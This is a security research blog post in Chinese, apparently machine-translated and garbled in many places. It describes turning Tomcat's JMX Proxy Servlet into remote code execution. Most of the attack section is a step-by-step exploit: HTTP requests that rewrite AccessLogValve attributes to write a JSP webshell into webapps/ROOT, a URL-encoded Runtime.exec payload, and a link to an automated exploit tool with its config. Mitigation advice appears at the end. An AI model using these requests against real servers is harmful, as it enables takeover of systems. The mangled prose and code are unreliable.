Tomcat的一種利用方式
0x00 前言
在介紹該利用方式之前有必要先進行一些說明
(1)不影響默認配置的Tomcat
(2)不影響通過jar部署的SpringBoot
(3)作為利用鏈中的一環,可以利用平臺未授權訪問或弱授權直接利用
我該利用方式的第一時間Tomcat報告并使用上千字來描述發現利用方式和危害性
然而Tomcat官方認為這不是安全漏洞,如果能夠利用,完全應該由用戶來負責
大致來看,利用手段如下圖:

0x01 經理
Tomcat一直存在一個“漏洞”的漏洞:導致不是Tomcat Manager上傳war解壓生成webshell的RCE
在tomcat/conf/tomcat-users.xml配置中
<用戶用戶 名= “管理員” 密碼= “<必須更改>” 角色= “經理-gui” />
訪問/manager/html輸入用戶名和密碼,自動在里面上傳war進行部署

顯然這不歸Tomcat負責,應該由用戶保證自己的賬號和密碼安全
TomcatManager為的管理采用了作者名作HTTP Basic認證,也就是用戶名作認證后的Base64保護。

如果想要強行破解這個認證其實是有可能的,因為Tomcat已經考慮到這個問題:參考LockOutRealm類的代碼,默認在輸入錯誤5次后會鎖定5分鐘。這Tomcat也是官方拒絕該漏洞的原因之一,他們認為基于JMXProxy實現的RCE攻擊和類似的,由用戶負責安全
public class LockOutRealm extends CombinedRealm { /** * 用戶連續認證失敗的次數 * 被鎖定。默認為 5。 */ protected int failureCount = 5 ; /** * 身份驗證失敗次數 過多后用戶被鎖定的時間(以秒為單位) 。默認為 300(5 分鐘)。 */ 受保護的 int lockOutTime = 300 ; }
真正值得一提的是:并Tomcat支持管理頁面,同時支持API和家具JMXProxy
如果API可能無法訪問導致P嚴重的安全問題(和牛聊天提到點,在某次CTF中出現)
使用API的方式是:http://{host}:{port}/manager/text/{command}?{parameters}
部署使用API包WAR:
http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
如何使用JMXProxy是RCE本文的重點內容
一般安全研究人員并不會JMXProxy僅用于發現什么安全問題,因為官方描述中該功能監控
0x02 JMX
JMX與Tomcat特殊情況,在Java官方文檔中JMX適用于:
JMX( Java Management Extensions)是一個為任何應用程序用戶管理功能的框架。JMX是標準的代理和服務,實際上,可以在Java應用程序中使用代理和服務實現管理
用話:JMX讓程序的,那么例如某Web網站是在24小時內有功能進行管理的,并且是對網站進行管理的;或者在業務高峰的過程中,想對網站進行管理,就可以了必須修改接口的配置值
一般JMX會通過Adapter實現Web管理頁面,例如Zabbix和Nagios其他工具JVM的監控實現,老一些的平臺JDMK和MX4J等
┌──────────┐ ┌──────────┐ │jconsole │ │ 網頁 │ └──────────┘ └──────────┘ │ │┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─ JVM ▼ ▼ ││ ┌─────────┐ ┌──────────┐ ┌─┤連接器├──┤適配器├─┐ ││ │ └─────────┘ └──────────┘ │ │ MBeanServer │ ││ │ ┌──────┐┌──────┐┌──────┐ │ └─┤MBean1├┤MBean2├┤MBean3├─┘ ││ └──────┘└──────┘└──────┘ ── ── ── ── ── ── ── ── ── ── ── ─ ── ┘
實例結合,我開始了一個監測MX4J平臺

進入其中的ClassLoading屬性觀察:監控到類的屬性,并且修改部分值可以在運行時進行

在網上進行搜索可以發現類似的JMX管理頁面,我們可以實時修改大量JVM內部的一些屬性
但這種修改的情況下,大多數情況下是無意義的,頂多由于某些屬性通過空指針導致沒有服務這樣的雞肋
因此,研究的JMX變化RCE是通過比較研究來比較研究的
0x03 JMX代理
是本文的重點,在Tomcat Manager中還有一種特殊的禮儀管理:JMX Proxy Servlet
參考Tomcat 9.0官方文檔中的描述,翻譯后為:
JMX Proxy Servlet是一個量級級別,用于和設置Tomcat內部或任何MBean公開的。它的不是非常友好,但已經可以通過使用監控類訪問界面以監視和更改Tomcat的內部使用非常有幫助。做兩件事:信息和設置信息。要真正了解 JMX Proxy Servlet,你應該對 JMX 有一個了解這個大致了解的詞。如果你不知道 JMX 是什么,那么請準備好被迷惑(不知道怎么confused解釋用迷惑了)
理解用戶JMX的描述能力,用戶可能不說可能的問題,應該是通過對概念Tomcat給出JMX的,而一般不是直接手動提供的管理,而是會選擇或者通過平臺進行管理,正則是這個原因導致該漏洞有實際的危害AgentAPI
參考示例,例如我們需要運行時的大量內存使用監控情況
http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
執行后得到的結果
好的 - 屬性獲取 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport// ......內容={提交=308281344,初始化=534773760,最大值=7602176000,使用=106332232})
可以監控JVM屬性也可以修改JVM中的一些屬性,例如JMX情節篇中提到的一個場景:
在業務高峰的時候,想對接口進行限流,就必須去修改期間的配置值。
在JMXProxy中也提供了修改一些變量的方法
http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
參數:
- set: 目標的
BEANNAME(類似的類名) - att:目標的屬性(類似類中的字段屬性)
- val: 需要修改的新值
另外支持命令函數,不過這一點我并沒有做深入研究(可能某些特殊命令組合存在漏洞?)
http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=參數
總結:
JMXProxy提供Tomcat的JMX接口給平臺分析和管理
監控和Tomcat支持內部部分變量的修改用于
0x04 RCE
本節內容是針對Tomcat的JMXProxy如何實現RCE
換句話來說:哪些JMXProxy支持修改的屬性被修改后可以修改RCE
肉眼審計,我發現了一個有趣的類(Spring RCE有似有似無的師傅應該第一眼看到出來)
訪問日志閥
描述JXMProxy信息如下,重點關注屬性:
- 前綴:訪問日志
- 模式:訪問日志格式
- 后綴:訪問日志后綴
- 目錄:訪問日志目錄
- 文件日期格式:訪問日志名日期格式
名稱:Catalina:type=Valve,host=localhost,name=AccessLogValvemodelerType:org.apache.tomcat.util.modeler.BaseModelMBean可旋轉:真檢查存在:假前綴:localhost_access_log模式:%h %l %u %t "%r" %s %b類名:org.apache.catalina.valves.AccessLogValve語言環境:zh_CN后綴:.txt目錄:日志啟用:真狀態名稱:已開始緩沖:真異步支持:真重命名旋轉:假文件日期格式:.yyyy-MM-dd
假設幾個屬性可以被設置,那么下面的RCE路線就很簡單了
我測試了每一個屬性,發現都可以成功修改
RCE的思路如下:
- 修改日志格式為:每一條新日志都變成了一句話
- 注意不能包含特殊符號,所以使用
%{header}i從請求頭中提取<%等特殊符號 - 修改日志后綴為:JSP
- 修改備注為:shell(只要可以獨立在意具體是什么)
- 修改日志目錄為可以解析JSP的目錄:例如默認的
webapps/ROOT - 修改日志文件名時間格式的目的是使
rotate創建新文件,寫入JSP馬 - 彩虹特殊請求頭的請求能夠寫入
Webshell
前期:
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d% 65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65% 73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20% 25%7b%73%7d%69 HTTP / 1.1主機: 127.0.0.1 :8080連接: 關閉授權: 基本 BASE64(用戶名:密碼)
這里有一個細節:要求其中的val參數為所有的URL編碼
%{ p } i 運行時。獲取運行時間()。exec ( request.getParameter ( " cmd " )); % { }我
劇情和結局的特殊符號從請求頭的p和s中獲取
第二步:
修改日志后綴為:JSP
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)
第三步:
修改時間日志格式為:shell(當空時文件名就是shell.jsp了)
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP / 1.1主機: 127.0.0.1 :8080連接: 關閉授權: 基本 BASE64(用戶名:密碼)
第四步:
修改日志存儲目錄到可解析JSP的目錄:webapps/ROOT
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)
第五步:
修改日志文件名 日期格式的目的是:觸發AccessLogValve的rotate功能
在log日志記錄信息的第一行調用rotate方法
公共 無效 日志(CharArrayWriter 消息) { 旋轉(); // ... }
跟入rotate方法
public void rotate () { // ... String tsDate ; // 檢查日期的變化 tsDate = fileDateFormatter . 格式(新 日期(系統時間)); // 如果日期改變了,切換日志文件 if (! dateStamp .equals ( tsDate ) ) { close ( true ) ; dateStamp = tsDate ; 打開();} // ... }
跟入open方法如果新的fileDateFormatter不同則FileOutputStream寫入新文件
protected synchronized void open () { // 打開當前日志文件 // 如果沒有旋轉 - 文件名中不需要 dateStamp 文件 pathname = getLogFile ( rotatable && ! renameOnRotate ); // ... writer = new PrintWriter ( new BufferedWriter ( new OutputStreamWriter ( new FileOutputStream ( pathname , true ), charset ), 128000 ), false ); // ... }
新日志文件名來自于prefix和sufix的外表
private File getLogFile ( boolean useDateStamp ) { // ... File dir = getDirectoryFile (); // ... pathname = new File ( dir .getAbsoluteFile (), prefix + suffix ) ; // ...返回路徑名; }
發送請求Payload
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP / 1.1主機: 127.0.0.1 :8080連接: 關閉授權: 基本 BASE64(用戶名:密碼)
第六步:
發送短信p和s請求頭的請求,成功寫入語句
GET / HTTP / 1.1主機: 127.0.0.1 :8080連接: 關閉p : <% s : %>//
RCE:
GET /shell.jsp?cmd=calc.exe HTTP / 1.1主機: 127.0.0.1 :8080連接: 關閉
我將發包以上的過程自動化,成功利用

0x05 實戰
雖然說RCE成功但是:需要有基礎認證才能觸發漏洞
目前看來這只是一種雞肋的幕后RCE手段,有必要研究一下實際的利用
- 直接的聯想是:
Manager弱弱的女生,這個沒有討論的必要性 - 是否可以不認證就利用(利用平臺)

值得說明的一點是:黑盒情況下不能確定其他平臺監控管理是否基于JMXProxy
- 某平臺
JMXProxy提供的類似假設API是基于一個假設 - 假設某個平臺并不但是基于
JMXProxy可以修改AccessLogValve屬性同樣可以RCE
因此,只要參考平臺是否基于JMXProxy目標,就可以實現數據智能(監控RCE上圖)實現
通過一些方法我找到了最新的平臺,上述利用方式可以成功管理利用
再看看其他的,著著基于Java的Web服務,9%的人在Tomcat出現下面9個不開多寫了
另外在的文件中寫明Apache Tomcat:只有受到保護而不受保護manager-guiCSRFJMX
HTML 界面受到 CSRF(跨站請求偽造)攻擊的保護但是無法保護文本和 JMX 接口。
因此,很容易因為相反更容易CSRF被CSRF+XSS利用JMXGET
存在漏洞XSS的情況下,容易利用
0x07 修復
我向Tomcat官方建議的修復方案是:
- 在文檔中明確說明:
JMXProxy存在RCE的安全風險 AccessLogValve屬性的修改或者設置為對世界的毀滅- 業務需要不能限制功能的話,絕對不能限制
suffix為.jsp等可被解析執行的后綴
他們Tomcat官方并沒有采納,他們不認為這是漏洞
對于實際的項目而言,修復方案如下:
- 如果開啟
manager-jmx功能設置強密碼 - 如果使用了訪問
MX4J等平臺對JMX未進行管理,檢查是否可以授權 - 如果寫自己基于
Tomcat的JMX管理功能,應該對AccessLogValve屬性進行限制
0x08 總結
我寫了一個自動利用的工具:https://github.com/4ra1n/tomcat-jmxproxy-rce-exp
在tomcat/conf/tomcat-users.xml配置中
<用戶用戶 名= “admin” 密碼= “123456” 角色= “manager-jmx” />
修改config.ini利用文件,然后隨時可以復現
#目標ip主機= 127.0.0.1 #目標端口port = 8080 #目標tomcat jmxproxy用戶名username = admin #目標tomcat jmxproxy密碼密碼= 123456 #執行命令cmd = calc.exe
執行EXP程序:./tomcat-jmxproxy-rce-exp
正如所說,雖然官方不承認,但我認為該漏洞有一些更大的Tomcat危害TomcatRCE CVE
官方否定漏洞的原因是:
- 用戶必須開啟
manager功能,默認Tomcat中為關閉的 - 用戶必須暴漏
manager/jmxproxy到公網 - 用戶必須使用了弱日
- 如果是非弱弱的情況下
Tomcat已經LockOutRealm可以防御
事實上,他們沒有考慮到平臺的Tomcat原因,但他們沒有考慮到平臺的影響和后果
比如今天的Tomcat Session RCE條件同樣高,甚至需要根據文件上傳漏洞,實戰價值未必大
個人JMXProxy漏洞雖然有限制條件,但在整個漏洞利用該限制條件時可以被視為鏈中的
后來我過官方:
Tomcat Session RCE在實戰中遭遇,或者是極端小英雄,但是你們認可
通過JMX平臺未授權造成RCE的案例有很多
從實際危害來看,顯然我報告的漏洞存在的認可和風險,為什么不有害
官方回復很簡單:不管有多大的錯誤,你說的都是用戶的錯誤,不是Tomcat的
從另一個角度來看,利用方式可以從理解為未授權訪問或越權訪問
- 使用
manager-gui是最高權限,可以直接啟動停止和部署戰包 - 使用
manager-jmx監控和權限較低,實際上只能修改部分變量
如果一個用戶可以通過一些方法manager-jmx(例如RCE)達到manager-gui能夠做的事情,這是否可以認為是一種漏洞?
如果我最初提交Tomcat的報告這樣來寫,會不會得到認可?